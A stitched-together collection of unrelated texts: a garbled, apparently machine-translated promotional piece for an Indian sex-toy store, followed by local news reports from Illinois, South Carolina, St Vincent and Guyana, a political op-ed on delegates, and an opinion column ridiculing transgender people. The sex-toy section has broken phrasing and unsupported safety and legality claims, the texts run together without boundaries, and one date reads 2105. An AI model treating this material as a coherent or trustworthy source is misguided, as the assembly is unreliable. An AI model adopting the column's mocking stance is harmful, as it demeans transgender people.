
The best way to purchase sextoy is through online shopping.

For more information on how to purchase sextoy, please see the article below.

Sextoy is one of them.

Therefore, you can easily get sextoy in India by using online shopping.

SexToysINDIA is a long established and stable sextoy store and you can have sextoy delivered to any place in India.

They also offer cash on delivery, so those who are worried about shopping with a credit card do not have to worry.

Of course, the latest security is in place, so your information will not be taken out when you use your credit card.

To begin with, many people may be concerned about whether they are legally allowed to purchase sextoy.

ikmAs it turns out, its not illegal.

Right now, it is not open to the public because the Indian adult market is still in the development stage, but it will gradually spread from now on.

Take advantage of sextoy and open the door to new pleasures and culture.

Cautions for Indians using sextoy

When using sextoy, keep the following three things in mind

Keep sex toys clean

Watch out for electrical leakage

Beware of the heat generated by the body while using a sex toy

As I mentioned earlier, many sextoy products are used for the delicate zone.

Therefore, it is most important to keep the sextoy itself clean. It is very important to keep the sextoy itself clean, because if a slight scratch is created by friction, bacteria can enter and breed there.

It is safe to wear a condom when using the masturbator, just in case.

In addition, many sextoy devices are powered by a power source, so if they are not waterproof, there is a possibility of electric shock or malfunction due to wetness.

Some may even develop heat during continuous use. If the fever becomes too much, you may get burned, so be careful.

If you get a fever during use, stop driving the sextoy immediately and refrain from using it.

You will enjoy sex more if you keep it safe and use it correctly.

Summary

What did you think?

In this article, we have introduced the recommended sextoy for the beginners of sextoy in India.

The sextoy market is growing rapidly in India and it will continue to grow steadily in the future.

As India is a rather closed-minded country, it can be difficult to be open about ones sexual habits and values.

However, being faithful to ones desires by properly dissolving ones sexual desire is very effective for ones physical and mental health.

If this is your first time to learn about sextoy, or if you are interested in using sextoy, why not give it a try?

Indian Sextoys for ur best! will introduce you to sextoy and other trivia about sextoy, sexuality, and sexuality for men and women.

I want to read more! If you think its a great idea, please bookmark it.
BENTON  One way to prevent mosquito bites? The city of Benton will be sponsoring Tire Clean-up Days in May to give residents in the area an opportunity to dispose of old and used tires, a favorite breeding spot for the bugs because of their tendency to hold rainwater.

Benton city council appoints Chief of Police during council meeting BENTON  City council members appointed Kyle Melvin as Chief of Police on Monday.

According to Fred Kondritz, Benton's mayor, the clean-up demands for two things  the elimination of breeding grounds for mosquitoes, in the wake of fears over the Zika virus, and to give residents an opportunity to dispose of any unwanted tires prior to the June deadline, during which citations for tires will commence.

According to the Centers for Disease Control and Prevention, Illinois carries 10 percent of travel-related cases of the Zika virus.

In a City Council meeting last month, the mayor expressed his concerns regarding the virus, and discussed ways in which the community could eliminate risks.

As a result of his concerns, Kondritz said the Council decided during its scheduled meeting last week to hold Tire Clean-up Days on May 14 and 28.

We agreed to designate the month of May (for tire clean-up), and we are going to do it a couple Saturdays of the month, Kondritz said.

During these designated days, Kondritz said individuals are allowed to drop their tires off at Earth Services, 14716 Hwy 14 East, between the hours of 9 a.m. and 1 p.m.

People can bring any old tires they have laying around the yard to a drop-off area, at no charge, and well recycle those for them, he said.

According to Kondritz, tires collect a significant amount of water, which enables mosquitoes to settle and breed.

Kondritz said that removing tires from around the community, or storing them in a dry and safe area, will help combat the reproduction of mosquitoes in the area, and risks for any virus that they may carry.

There has been a couple major articles about how serious the Zika virus is, he said. (As an individual) in the medical field I know its serious, but sometimes you just cant get anybodys attention until somebody in their family gets it.

To further implement matters of unwanted tires, Kondritz said that as of June 1 any property owner with a tire left on his or her property will be cited, and fined $25 per tire left on their property.

One thing that we have to get across to people is that they dont have to throw the tires away, Kondritz explained. If they want to keep them, great, but you need to store them in a proper way.
A California man was sentenced to prison Tuesday for gun charges after agreeing to a plea deal, Jackson County States Attorney Michael Carr announced on Thursday.

Bacaree Oaks, 35, was sentenced for unlawful use of a weapon by a felon after a guilty plea on Tuesday.

Oaks was sentenced to two years in prison and one year of probation after his release.

On Feb. 27, Carbondale Police officers went to 306 W. Pecan Street for a burglary in progress. While in route, they received a call that suspects were running from the scene.

The officers found the vehicle and went into pursuit when they noticed an object being thrown from the vehicle. They determined it was a .38 caliber Taurus Handgun.

A traffic stop was then performed and the driver of the vehicle was Oaks, who is a felon in California.

Oaks was officially charged with unlawful use of a weapon, aggravated unlawful use of weapons, possession of a firearm with no Firearm Owners Identification Card and driving while license was suspended.

The remaining charges were dismissed as part of the agreement.
MURPHYSBORO  The Jackson County Board of Health voted to reduce the hours worked by Health Department employees and to cease operations on Fridays as a direct result of financial pressures, including lack of an adopted state budget.

The health department board was on the verge of taking this action last fall, but was saved by support from the Jackson County Board. As the budget impasse has dragged on the county board has continued to help.

I think the surprise is that we held out 10 months, but we have done what we can do, said Miriam Link-Mullison, Jackson County Health Department administrator.

Starting May 1, Jackson County Health Department will be open from 8 a.m. to 5 p.m. Monday through Thursday, and will be closed on Fridays. The facility will be open an hour longer each day, and most clinic services will be available on a walk-in basis. Link-Mullison said they are trying to increase access to services on the days the health department is open, while reducing access overall by closing on Fridays.

At this time, we are not cutting any services. I think 4 to 5 p.m. is a more attractive time for working families than Fridays, Link-Mullison said.

As a result, full-time employees will face a three-hour reduction in the work week, going from 35 hours to 32, which is an 8.6 percent pay cut.

I was just in Springfield [with Illinois Public Health Association] and I know other health departments are on the verge of doing something, as well. The longer we wait, the more pain and the more action has to be taken, Link-Mullison said.

The department is receiving less than half of the state grants it was promised and is owed about $500,000 from the state for services already provided or 13 percent of the departments annual budget. It is not clear when or if this money will be reimbursed.

One of the ways of addressing that is reduction of hours. I dont have any way to pay for those expenses, so I have to reduce expenses, she added.

The reduction of hours saves more than $215,000 annually and is an important step in making the health department less reliant on state funds, while still providing quality services to the community.

The Jackson County Health Department has faced very tight budgets for about seven years, because of elimination, reduction or stagnation in various revenue sources, including grants and property taxes. During this same period, the department has picked up an additional $800,000 in benefit costs, including employee retirement and health insurance. To counter the gap, the agency has tightened its belt.

Link-Mullison said all of the cost-cutting and revenue-seeking efforts have helped delay this decision, but the department could not delay making significant budget changes any longer. Without a resolution to the state budget disaster, more changes will likely be needed.

As we get into the next state fiscal year, I think we will make another round of changes, Link-Mullison said. If we get to June 1 without a budget, we have gone a whole fiscal year without the state honoring its signed contracts.

As of June 1, the number of votes required to pass a budget increases, so Link-Mullison said it is more unlikely for Illinois legislators to pass a budget.

It is possible that this will happen by then, but it is hard to remain hopeful after 10 months. Since Im not hopeful, we are trying to become less reliant on state funding. We need to step back from funding sources that are not reliable, she said.

Senate Bill 2046 that would appropriate funds for Illinois Department of Public Health awaits Gov. Bruce Rauners signature. It was sent to the governor April 14. Link-Mullison was told last week there was no money for payment, even if the bill is signed.

Id rather be in line than not in line, even if the line is long. Id rather wait 10 months than never get paid, she said.
CARTERVILLE  Keith Liddell, superintendent of Carterville Community Unit School District 5, doesn't like to brag, but his district has a reputation of being among the top school districts in the area.

Its nice to be mentioned in the same breath as those who do well, Liddell said.

The district has earned several awards that might be reason to brag.

Cartervile CUSD received a silver medal and ranked 94th in Illinois and 2,308th in the national list on US News and World Reports 2016 list of the nations best high schools. The district was listed on the Advanced Placement Honor Roll, which recognizes schools for student achievement on AP exams. Carterville High School also was the only public high school in Southern Illinois that performed above the state average of 21 on ACT test during the 2014-15 school year. Carterville student scores averaged 23.

Liddell and Assistant Superintendent Sarah Barnstable believe the reasons for the districts success is shared by teachers, administrators, parents, students, the school board and the community.

Liddell said district teachers are very dedicated to students and to a very rigorous academic curriculum. They work together to understand the standards and set high expectations of their students.

I think if you set the bar really high, students will work to meet expectations, Liddell said. The community also expects high academic standards.

Its setting the bar and saying well achieve it together, Barnstable said.

Barnstable said research shows that one of the big things to impact student outcomes is whos in front of the classroom. Teachers work together in teams who share both successes and failures.

Weve got experts in our own system, and we lean on them, Liddell said.

Principals meet with teachers who are leaders and provide time for teachers to meet together, both in each school building as well as district-wide. Teacher meetings are very structured and data driven.

Its not easy to get eight second-grade teachers together weekly to work on their target and approach, Liddell said.

But Carterville CUSD does  district-wide, kindergarten through 12th grade.

The district has been fortunate to build three buildings in about 14 years, but those buildings are quickly filling. Enrollment is up from 1,720 in 2006-07 to 2,118 this year.

We have to have an ongoing five-year plan," Liddell said. "We owe it to our community."

When Tri-C Elementary School was built, it was designed to hold 700 students in kindergarten through fourth grade. In a Southern Illinoisan article in December 2001, Tim Bleyer, superintendent at the time, talked about the luxury of having extra classrooms.

Today, the enrollment at Tri-C is 690 students in kindergarten through third grade. Fourth graders were moved to the intermediate school and an addition was built. Every room is in use, and administrators are working on a plan for next year.

Carterville Junior High, the newest building in the district, is about two years from capacity at current rates of growth.

Liddell and Barnstable also talked about the district's ability to form really good community partnerships with groups like the Rotary Club and Chamber of Commerce, John A. Logan Community College and Southern Illinois University.

I also dont think we can downplay the impact education has in Carterville, Liddell said. We live in place where education is respected and valued at a high level.
SPRINGFIELD  The Federal Emergency Management Agency denied the states appeal Friday for federal assistance to help local governments in several counties recover from severe flooding and storms in late December and early January, according to a news release from the State of Illinois.

Those counties included Alexander, Jackson and Randolph counties, as well as Bureau, Calhoun, Cass, Clark, Cumberland, Jersey, Madison, Menard, Monroe, Morgan, Moultrie, Pike, St. Clair and Vermilion counties.

The process is supposed to take into account a multitude of factors, but this denial demonstrates that only the numbers really matter, said James K. Joseph, director of the Illinois Emergency Management Agency, in the release. States with high populations concentrated in urban areas, such as we have in northeastern Illinois, often struggle to reach their thresholds, particularly when the impacts are in rural, sparsely populated areas of the state. Once again our poorest communities continue to suffer because of this unfair process.

Illinois threshold for federal public assistance is $18.1 million, which is based on the states population of $12.8 million multiplied by $1.41.

On April 8, the state submitted an appeal of FEMAs earlier denial of assistance to help local governments recoup some of their flood-related expenses. The appeal outlined nearly $16.8 million in local government costs and spelled out additional factors that justify Illinois request for federal assistance for local governments.

Joseph pointed to severe localized impacts that should have been considered, such as in Alexander County where local government expenses totaled more than $4 million. That equates to more than $486 for every person living in the county.

Under federal rules, the state cannot submit another appeal for federal assistance.
SPRINGFIELD  In a rare showing of bipartisan cooperation amid Illinois nearly yearlong budget impasse, the General Assembly voted overwhelmingly Friday to approve $600 million in stopgap funding for higher education.

The House voted 106-2 and the Senate voted 55-0 to approve the measure, which includes money for public universities, community colleges and grants to low-income students through the Monetary Award Program, all which have been deprived of funding since the budget year began July 1. Republican Gov. Bruce Rauners administration lauded the agreement and promised his signature.

With Chicago State University on the brink of closing at months end, lawmakers were under pressure to come up with a plan to get money to the predominantly black South Side school and other financially beleaguered institutions, including Eastern Illinois, Western Illinois and Northeastern Illinois universities.

What we did today was a very good thing, said Rep. Rita Mayfield, D-Waukegan, chairwoman of the House Black Caucus and a sponsor of the funding package. We actually did save CSU.

She added that Eastern Illinois and Western Illinois, along with many community colleges, are also struggling.

Chicago State will get 60 percent the funding it received in fiscal year 2015, and the states eight other university systems will get 31 percent.

That amounts to $12.5 million for Eastern Illinois, $20.9 million for Illinois State University and $57.5 million for Southern Illinois University. The bill also includes $74.1 million for community colleges  27 percent of annual funding  and $167.6 million for about a semesters worth of MAP grants.

Unlike previous bills Rauner has vetoed or threatened to veto, this measure draws its money from a specific source: the education assistance fund, which receives dedicated revenue from state income taxes and other sources.

Mayfield was quick to point out that this is not the end of the conversation on higher education funding for the current fiscal year.

This right here is an emergency stopgap funding (bill) in order to provide a means for our universities, our community colleges to keep their doors open and the lights on, she said.

SIUC to receive $34.4 million in funding; JALC still pending CARBONDALE  Of the $57.5 million coming to the SIU system from the General Assembly's approval of stopgap funding for higher education, $34.4

Rep. Dan Brady, R-Bloomington, who represents Illinois State and was heavily involved in discussions with Democrats, said hell continue negotiating and is committed to work within a budget frame that we can afford.

I dont have the crystal ball of what happens from here in budget negotiations, Brady said. But I do know that the stopgap measure is critical to the universities right now, and thats what we did in a bipartisan fashion.

Southern Illinois President Randy Dunn said hes thankful for the funding thats been approved but will continue pushing for the remaining $140 million the university has requested from the state.

We heard from both sides of the aisle, from both Republicans and Democrats, that theres a pledge to continue working, Dunn said, adding, We will hold those officials to that pledge.

However, House Minority Leader Jim Durkin, R-Western Springs, said the funding approved Friday could end up being all that universities receive for the current fiscal year.

Im not quite sure we can get anything else done on higher ed, Durkin said.

Although the Senate approved the measure unanimously, not everyone was entirely pleased with it.

Sen. Dale Righter, R-Mattoon, said there should be some relief that we have actually been able  to come together to provide some drink of water to some people who have been crawling in the fiscal desert for some time.

But Righter said he was disappointed the bill didnt do more to help Eastern Illinois, which is in his district and has had to lay off hundreds of employees to keep its doors open.

With at least a short-term solution in place for higher education, social services remain the last major piece of the state budget not being funded.

The Senate approved a separate measure Friday, also on a 55-0 vote, that includes identical funding for higher education and $441 million for social services from another dedicated fund. That measure would fund many social service programs at 35 percent of what they received in fiscal year 2015.

The governors office said that proposal doesnt have his support  yet.
SPRINGFIELD  The Illinois Senate has approved a proposed amendment to the state constitution that would change the way legislative and congressional districts are drawn but rejected one that would have eliminated the lieutenant governors office.

Sen. Kwame Raoul, D-Chicago, sponsored the redistricting amendment, which is similar to one the Senate approved in 2010 that failed to win approval in the House. Unlike a current proposal from House Democrats and another backed by the group Independent Maps, Raouls measure would leave the task of redrawing boundaries largely in the hands of state lawmakers.

House Democrats propose redistricting amendment SPRINGFIELD  Illinois House Democrats are proposing their own plan for changing the way the

Here in the state of Illinois, we are fortunate to have a state with a diverse population, Raoul said, arguing that his measure would do the most to protect influence of minority voters.

One way it would do that is by doing away with the requirement that each of the states 59 Senate districts be divided into two House districts. This would allow a better opportunity for voters in communities like Chicagos Chinatown to elect officials who represent them, Raoul said.

Under his plan, the General Assembly would be required to adopt a map by a set deadline each decade following the U.S. census. If it failed to do so, each chamber would adopt its own map. If that failed, commissions appointed by the leaders of each chamber would get their turn. If the commissions failed, the two most senior Illinois Supreme Court justices of opposite political parties would appoint a special master to create the map.

The measure also would require at least 10 public hearings across the state before a map could be adopted.

The proposed amendment cleared the Senate on a 39-19 vote, with Republican voting as a bloc in opposition  with the exception of Sen. Sam McCann, R-Plainview.

Sen. Bill Brady, R-Bloomington, said he supports the Independent Maps proposal.

Simply summed up, (Raouls proposal) still lets politicians draw their own maps, and we need to take it out of the hands of the politicians and put it in an independent body, which will draw maps to preserve the best interest of communities and the citizens of Illinois, Brady said.

Sen. Tom Cullerton, D-Villa Park, sponsored the proposal to eliminate the lieutenant governors office, which he billed as an effort to streamline government. He noted that its a popular campaign talking point for members of both parties.

Legislature considering tweaks to state constitution SPRINGFIELD  With an early May deadline looming, several proposals to amend the Illinois Co

Youve all said it. Youve all riled your constituents up about it, Cullerton said. Todays the day that it can get done.

But it wasnt that day as the measure failed on a 21-28 vote with opposition from members of both parties.

Sen. Dale Righter, R-Mattoon, voiced a concern that was heard from both sides of the aisle. Because the amendment would leave the attorney general as the next person in the line of succession should the governors office become vacant, it could create a situation where the top office is transferred from one party to another.

In any one governors election, the voters make a choice, Righter said. They make a choice between Democrat and Republican.  They make a choice between differing ideologies.

Southern Illinois lawmakers, school officials push for more funding SPRINGFIELD  A group of Democratic lawmakers and school officials is calling on the General

Letting the office transfer to the opposite party would be a betrayal of what the voters said they wanted when they voted for the governor, he said.

The redistricting amendment now requires approval from a three-fifths majority in the House in order to go before voters in the November election. The House has must act on it before May 9, but Democrats in that chamber have their own proposal.
Admittedly, as a columnist Im old and Im a dinosaur. OK, Ive owned up to the obvious just to beat my detractors to the punch about todays topic.

You see, I grew up in a far different era, and while I love the gizmos and gadgets that the 21st Century gives us, I have to admit that there are times when I look around and Im baffled about the direction were heading and the world around me.

As an example, while ISIS is looking for more ways to kill us, racial tension is at an all-time high, Iran has nuclear capabilities and the stock market is a weekly roller coaster ride, the most gripping news story that has dominated the media in recent weeks involves what restroom transgender people are going to use in North Carolina.

It should be pointed out that best estimates put 0.3 percent of the total population as transgender. Keep in mind thats not three (3) percent, thats three-tenths of one percent. Maybe an easier way to measure it  thats less than one-third of one percent of the 322 million people that inhabit the United States.

I was listening to a recent news report about the bathroom brouhaha. It was the lead story in the news on this particular day. The story detailed how many transgender people in North Carolina have had gender reassignment surgery as compared to those that identify as the opposite sex.

The words identify as jumped out at me during that newscast, so lets take a closer look at those two little 21st Century words.

Back a few months ago Rachel Dolezal, who was the chairperson of the NAACP chapter in Spokane, Washington, was outed because she wasnt African-American. She was born white, to white parents but for the past several years had decided she was black. She applied for grants and student loans for college as a black woman and received added benefits because she is a minority. She gained employment with the NAACP by saying she was black. Seeing pictures of her, she looked like a lady with a nice tan and a fro. When she was finally caught her answer was that, despite being lily white, she identified as black, and therefore, she was black.

Then there was the young male student at Township High School, in Palatine, Illinois, who still had all the parts to be called a male, but decided that he was a female. He started wearing girls clothes and promptly sued the school, and won, to be able to use girls restroom and locker room facilities because he identified as a female.

You see, this identify as phenomenon is a head-scratcher for me. In the past months weve seen people simply utter those two little (and apparently magical words) and change their race and gender. So, the logical question is: where does it stop, this reality world trick of simply twitching your nose and changing your race or gender? Can a 30-year-old man identify as a teenager and become one? Can a 40-year-old woman identify as a high school student and become a cheerleader? Can a person identify as an animal and become exempt from paying taxes?

You might be saying, thats absurd, that could never happen. Well, a 17-year-old male who thinks hes a girl but still has a penis walking around in a locker room with 15 and 16 year-old girls seems a little absurd to me, so I wouldnt rule these possibilities out just yet.

While folks certainly have the right to loudly proclaim that they identify as this and identify as that, Im a big believer that if it looks like a duck, walks like a duck and quacks like a duck, by gosh  its a duck. But, apparently thats just not the case anymore, or at least thats the phony philosophy being peddled by the political correct police.
A Bamberg student has been named one of four regional winners in PalmettoPrides 2015-2016 Litter Trashes Everyone Art Contest.

Gracen Zeigler, a student at Richard Carroll Elementary School, was the Lowcountry Region winner.

Gov. Nikki Haley announced the Litter Trashes Everyone Art Contest winners during a meet-and-greet at the South Carolina Statehouse yesterday.

Anna Reedy from Cedar Grove Elementary School in Williamston took top honors as State Winner.

Haley congratulated the students on their creativity and leadership in educating others about the effects of litter.

Reedys drawing will appear on the back of PalmettoPrides volunteer T-shirts for 2016-2017. She also receives a monetary award as part of her prize. Cedar Grove Elementary and the Art Department will both receive monetary awards for supplies.

Regional winners selected in addition to Zeigler are: Emily Horton, Upstate Region, Mountain View Elementary, Taylors; Ellie Protsyuk, Midlands Region, Springfield Elementary, Fort Mill; and Sydnee Atkinson, Pee Dee Region, Aynor Elementary, Aynor.

Each regional winner receives a framed copy of their drawing and a monetary prize. Each school and art teacher also receive monetary awards for supplies.

his years contest had the highest number of participating students. More than 13,000 students were registered. All school winners drawings are on display the month of April at the historic Tapps Arts Center in Columbia.

The Litter Trashes Everyone Art Contest is open to all elementary schools in South Carolina.

PalmettoPride is a 501C3 non-profit litter prevention and beautification organization in South Carolina, which engages citizens to take an active role in keeping their communities clean and beautiful. The organizations programs are credited with reducing litter by more than 60 percent.

For more information, visit www.palmettopride.org.
SANTEE  A Moncks Corner man was shot Thursday after he allegedly kidnapped his wife, led authorities on a three-county chase and fired at officers.

Daniel Brooks Ward, 34, is facing multiple charges in the incident, including attempted murder and kidnapping.

Ward was supposed to have been at a hearing Thursday morning in Berkeley County concerning an order of protection violation, but instead authorities say he may have been waiting in the trunk of his wifes vehicle.

Ward, at some point, kidnapped his wife and held her at gunpoint during the ordeal, according to Berkeley County Sheriff Duane Lewis.

The chase began in the Lebanon community of Berkeley County and continued into the Holly Hill area of Orangeburg County.

Ward led authorities northbound onto Interstate 95 into Clarendon County and then looped onto I-95 southbound back into Orangeburg County.

The chase ended in the Santee area, just south of the 98 mile marker.

Lewis said Ward fired at law enforcement officers first and officers returned fire.

Three Berkeley County deputies and one Clarendon County deputy were involved in the shooting. The officers were not injured.

Medics flew Ward to Palmetto Richland Hospital in Columbia where he is undergoing treatment for his injuries. Lewis said his condition is unknown.

Wards wife was not injured.

Lewis said SLED is charging Ward with four counts of attempted murder.

The Berkeley County Sheriffs Office is charging him with kidnapping, violation of a protection order, possession of a firearm during the commission of a violent crime and failure to stop for blue lights.

Lewis said the ordeal began when the Berkeley County Sheriffs Office received a call from a deputy solicitor at 8:49 a.m.

Wards wife called the solicitors office in advance of the hearing where she and her husband were to appear.

It was during that phone call that the deputy solicitor heard something that led to a call to law enforcement.

Dispatchers were able to get Wards wife on the phone and deputies spotted the gray Pontiac Grand Prix in the Lebanon community at 9:12 a.m.

Lewis said deputies attempted to stop the vehicle because they were advised that Ward was holding his wife at gunpoint.

Ward, however, didnt stop and kept traveling toward Orangeburg County on U.S. Highway 176. Orangeburg County deputies also joined the pursuit.

Berkeley deputies notified the Holly Hill Police Department that a vehicle pursuit was heading toward their jurisdiction.

Holly Hill Police Chief Josh Detter said that he and Lt. Melissa Boone headed toward Ward to try and stop him.

Ward barreled a steady 50 mph through the middle of Holly Hill and pushed 70 mph as he approached Wells Crossroad, Detter explained.

Deputies and officers continued the pursuit as Ward turned on U.S. Highway 15 and then on Interstate 95 northbound. The chase continued into Clarendon County.

Law enforcement officers deployed spike sticks twice in hopes that Ward could be stopped.

He just drove off the roadway and avoided them, Detter said.

At mile marker 113, Ward made a U-turn in the median and headed southbound toward Santee.

At one point he held a gun out of the window, Detter said, I remember seeing it.

Detter believes the construction zone at I-95 and U.S. Highway 301 caused Ward to get distracted and crash into the cable barriers in the median.

As deputies were approaching, Mr. Ward fired several shots at deputies, Lewis said.

They did return fire, striking Mr. Ward, Lewis added.

Detter said that when Ward got out of the car, he sort of rolled out.

There was a lot of blood, Detter said.

Wards wife remained at the scene.

She was hysterical, angry, scared, Detter said.

I spent most of my time at the scene with her, he added.

The chase ended up putting a halt to southbound traffic on I-95 for several hours as the S.C. Highway Patrol, SLED and other agencies collected evidence from the scene and interviewed witnesses.

It wasnt until about 1 p.m. that troopers opened the right southbound lane.

After the incident, Orangeburg County Sheriff Leroy Ravenell said he was glad OCSO deputies were able to assist deputies from an adjoining county.
An Orangeburg chemical company has received an award for corporate social responsibility.

EcoVadis announced that SI Group received its Silver Award ahead of Earth Day, which is today. EcoVadis is an international organization that provides sustainability ratings for global supply chains.

SI Group was ranked among the top 13 percent of more than 25,000 worldwide companies assessed by EcoVadis.

EcoVadis Corporate Social Responsibility scorecards rate suppliers environmental, ethical and social practices across 150 purchasing categories and 110 countries.

Operating a sustainable and socially responsible organization is a long-term commitment, said Frank Bozich, president and CEO at SI Group.

Our collaboration with EcoVadis represents a vital component of our broader global sustainability efforts, Bozich said. Were honored to have received this rating, as this achievement both recognizes the investments we have made in systems that support our sustainability efforts and also establishes a new baseline from which we will continue.

The EcoVadis methodology covers 21 individual criteria across four themes, including: environment; fair labor practices; ethics and fair business practices; and supply chain.

The methodology is built on international corporate social responsibility standards, including the Global Reporting Initiative, the United National Global Compact and ISO 26000, covering 150 spend categories and 140 countries.

In addition to the EcoVadis rating, SI Group has been a member of the American Chemistry Councils Responsible Care program for more than 25 years.

Responsible Care is an environmental, health, safety and security performance initiative aimed at improving the health and safety of employees, communities and the environment as a whole, moving the industry toward a safer and more sustainable future.

The SI Group purchased the former Albemarle plant in April 2014. The Orangeburg plant employs about 270 people and has about 100 contractor employees.

Founded in 1906 and headquartered in Schenectady, New York, SI Group is a family-owned company with over 2,700 employees worldwide. SI Group operates 20 manufacturing facilities on five continents with $1.6 billion in annual sales.
"That's not the way democracy is supposed to work," Donald Trump thundered on Fox News. "The system is rigged. I see it now, 100 percent."

Trump was complaining about a series of states -- Colorado, Louisiana, South Carolina -- where Ted Cruz's well-organized campaign elected delegates at state conventions and sliced into Trump's national lead.

Supporters of Bernie Sanders are making similar protests about a "rigged" system on the Democratic side, where hundreds of "superdelegates" -- mainly party officials and office holders -- get seats at the convention and can support anybody, no matter how the folks back home voted.

Hillary Clinton holds a large lead among these party regulars, and Sanders supporters are aggressively lobbying -- even harassing -- them to change sides in states that Bernie won. "It's time we take our democracy back," proclaims one website devoted to pressuring Clinton backers.

The Trump and Sanders people are both wrong. The contests are not "rigged" or unfair. These whiners misunderstand the basic nature of American democracy.

Our system was never supposed to subject every question to a plebiscite, a direct vote of the people. The Founders built in a series of checks and balances specifically designed to contain and counteract the gusts of emotions that can blow forcefully through the electorate and cause long-term damage to the national interest.

In his famous "Federalist 10" essay, aimed at explaining and defending the Constitution, James Madison presciently warned against the threat of "factions," which he defined as "a number of citizens ... who are united and actuated by some common impulse of passion, or of interest, adverse to the rights of other citizens, or to the permanent and aggregate interests of the community."

That's why the founders created rules and institutions that would dilute pure democracy and defend "the permanent and aggregate interests of the community." One example: the ability of the president to veto bills passed by a majority and to sustain his action with the support of only one-third of the legislature. Or a nine-member court with lifetime tenure that can declare laws unconstitutional.

The threat of "factions" is directly relevant to the current debate in both parties about convention rules. Trump and his followers are a classic example of a movement "actuated by some common impulse of passion" that feeds on fears and phobias and threatens to damage precious traditions and values.

The anti-Trump forces are probably fighting a losing battle, especially if he wins big in New York next week. But they are using the rules in a very American way -- to impede a "faction," to force a rethinking, to make sure that the power of "passion" is balanced out by other interests, especially those of the Republican Party.

Exit polls make it clear that many voters who are backing Trump are not even Republicans, and care very little about his "electability." But electability is the first priority of any political party, and Republicans have every right to use every rule in the book to find a candidate with a better chance of winning in November.

The Democrats are in a different situation, since their insurgent, Sanders, is not the frontrunner. Nor does he mirror Trump's cynical appeals to racist and nativist prejudices. But his supporters are echoing Trump's complaints about a "rigged" system, and they are wrong for the same reasons.

The "superdelegates" to the Democratic convention were created after 1972, when a passionate faction of antiwar activists nominated George McGovern, an honorable man but a terrible candidate who led the party to a disastrous defeat.

A commission chaired by James Hunt, then the governor of North Carolina, recommended the innovation as a way of returning "a measure of decision-making power and discretion to the organized party."

Democrats, like Republicans, have legitimate party interests that don't necessarily coincide with primary results. Sanders, like Trump, is backed more by independents than party regulars, and Democrats have voted 2 to 1 in favor of Clinton. In fact, Sanders has proudly called himself an independent through most of his career, and did not officially join the Democratic party until he announced his candidacy less than a year ago.

He's never raised money for Democrats or campaigned for them or cared about the party. Why should the superdelegates feel any loyalty to him now?

The truth is, many Republicans sure wish their party had superdelegates, too. It would make stopping Trump a lot easier.

As Lee Kinch, the Democratic state chairman in Kansas, told the Kansas City Star: "The argument for superdelegates is Donald Trump."

-----

Steve and Cokie Roberts can be contacted by email at stevecokie@gmail.com.
Mayon Spring, a former Corporal of the Royal SVG Police Force, was convicted for being illegally in possession of ammunition.

Stories by HAYDN HUGGINS





Mayon Spring, a police officer who received a three-year prison sentence at the Serious Offences Court last Friday, April 15 after being convicted on charges of ammunition possession, theft and corruption, intends to appeal the Courts decision .





Springs lawyer, Grant Connell, gave the confirmation when THE VINCENTIAN contacted him on Tuesday.

Spring was sentenced to three years for possession of 25 rounds of 5.56 ammunition without licence, one year for corruptly obtaining the ammunition for himself, and nine months for the theft of the ammunition. The sentences will run concurrently.





The 35-year-old Cane Grove man had committed the offences between November 27 and 29 last year at the Calliaqua Police Station where he was stationed. He held the rank of Corporal, and was Station Officer when the ammunition went missing.





Spring was found guilty at the conclusion of a trial which commenced about three weeks ago.

Connell indicated that he did not agree with the

findings of Chief Magistrate Rechanne Browne. He, however, declined to comment further, saying the matter would be appealed.





The Prosecutions evidence revealed that Constable Keyron Caesar had gone to Corporal Springs locker for a washing detergent (Breeze), when he came upon the ammunition.

Spring and Caesar were friends and had access to each others locker.

Caesar reported his discovery to one of his superiors, and subsequent checks at the Calliaqua Police Station revealed that 25 rounds of ammunition were missing.

Continued from Front Page.

According to the evidence, the issue was brought to the attention of the Officer In Charge, Assistant Superintendent of Police Sydney James (now retired), and he summoned a meeting with the officers who were on duty. At the meeting, ASP James announced that 25 rounds of ammunition were missing, and asked that whoever was in possession of them hand them over. Spring indicated that he had some ammunition, and ASP James sent Station Sergeant Sherrol James with him to get them.

Spring took the ammunition from his locker and handed them to the Station Sergeant, who on returning to the meeting, counted the rounds in Springs presence. They amounted to 25. Constable Keyron Caesar had told the court, in his evidence, that he saw Spring remove something from a compartment of the desk at the station office.

Caesar was at the time working as Station Orderly, while Spring was working as Station Officer. In his defence, Spring told the court that he found the ammunition in an insecure area at the station office, and kept them in his locker with the intention of handing them over to ASP James. A formal investigation, led by Inspector Hesron Ballantyne, resulted in Spring being arrested and charged. In his closing submissions, Senior Prosecutor Adolphus Delpleche pointed out that Spring had no authority to remove the ammunition and take them to his locker, and pointed to him as having used his position as Station Officer to dishonestly remove them.

Delpleche also noted that they were restricted ammunition, and a person must have the authorization of the Minister of National Security in order to get a licence to possess them. He stressed that Spring was placed in a responsible position, when the ammunition went missing. But Connell contended in his arguments that "there were questions surrounding the ownership of what was said to be removed from an insecure area of the station office. THE VINCENTIAN understands that Spring is housed at Her Majestys Prison, Kingstown.




The Cheddi Jagan International Airport (CJIA) has been the target of a number of drug busts.Inset:Self-confessed drug baron Barry Dataram has pointed to a web of corruption at the Customs Anti-Narcotic Unit (CANU) in Guyana.

Law enforcement officers, members of the legal profession and customs officials across the region, not to mention the Drug Enforcement Agency of the USA, will be following the proceedings of a certain Board of Inquiry with heightened anticipation.





The BoI has been set up, according to media houses, in Guyana, and is expected to be convened soon, to investigate claims by self-confessed drug trafficker Barry Dataram, about the alleged involvement of the Customs Anti-Narcotic Unit (CANU) in the drug trade and corruption.





Datarams claim was made in an exclusive interview with television Journalist Travis Chase.

In the interview posted on Chases Facebook page, Dataram admitted to being a drug baron, and claimed that a major drug network exists at the Cheddi Jagan International Airport (CJIA) where key officers of the Customs Anti-Narcotics Unit (CANU) play a vital role in the smuggling and trafficking of illicit substances in and out of Guyana.

Dataram also alleged that there was (is) massive corruption at CANU, with drug lords fuelling the luxurious lifestyle of officers at the counter-narcotics unit, in exchange for information on raids and protection.

The self-confessed drug baron was busted in a raid on a house at Diamond, East Bank Demerara on April 16, 2105.

The Customs Anti  Narcotics Unit (CANU) were able to seize over 225lbs of cocaine, along with ammunition and cash.

The cocaine was found in frozen seafood and in loose form; it is believed that the illegal substance was being packaged for trafficking out of Guyana.

Found in the house with the illegal items was Barry Dataram, who had successfully fought off an extradition attempt to the United States a few years earlier, after he was named in US court documents as a drug dealer.

The raid on the house where Dataram was found, followed a number of drug busts at the Cheddi Jagan International Airport. (Source: Guyana Media)
